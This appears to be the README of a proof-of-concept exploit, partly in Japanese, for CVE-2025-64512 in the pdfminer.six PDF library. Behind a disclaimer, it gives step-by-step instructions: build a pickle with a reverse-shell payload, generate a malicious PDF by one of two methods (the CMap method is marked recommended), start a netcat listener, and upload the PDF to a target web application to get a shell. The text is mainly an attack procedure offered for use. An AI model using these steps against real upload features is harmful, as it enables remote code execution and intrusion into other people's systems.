
この概念実証コードは、許可されたセキュリティテストおよび教育目的のみを対象としています。
自身が所有するシステム、または明示的な書面によるテスト許可を得たシステムでのみ使用してください。著者は、このコードによって引き起こされた誤用または損害について一切の責任を負いません。
CVE-2025-64512 は、PDFファイルからテキストやメタデータを抽出する人気のPythonライブラリ pdfminer.six における重大な脆弱性です。この欠陥により、悪意のあるPDFを処理する際に、pickleデータの安全でないデシリアライゼーションを介してリモートコード実行 (RCE) が可能になります。
この脆弱性は、アップロードされたPDF文書を解析するために pdfminer.six を使用するWebアプリケーション(例:文書管理システム、レポートツール、PDFを受け付けるプロフィール画像アップロードなど)のファイルアップロード機能を通じて一般的に引き起こされます。
generate_pickle.py を実行して、リバースシェルペイロードを含む malicious.pickle.gz を作成します。
python3 generate_pickle.py
Step 2 – Generate the exploit PDF
Choose one of the two available methods:
# Method 1: /Encoding path traversal (less reliable)
python3 method1_encoding_poc.py
# Method 2: /CMap deserialization (official CVE method – RECOMMENDED)
python3 method2_cmap_poc.py
Both scripts produce exploit.pdf, which references the malicious pickle file and triggers the deserialization flaw when processed.
Step 3 – Start your listener
nc -lvnp 4444
Step 4 – Upload and execute
Navigate to the target web application's file upload feature.
Upload exploit.pdf via the web interface.
The application processes the PDF using a vulnerable version of pdfminer.six.
The pickle payload deserialises and executes, granting you a reverse shell.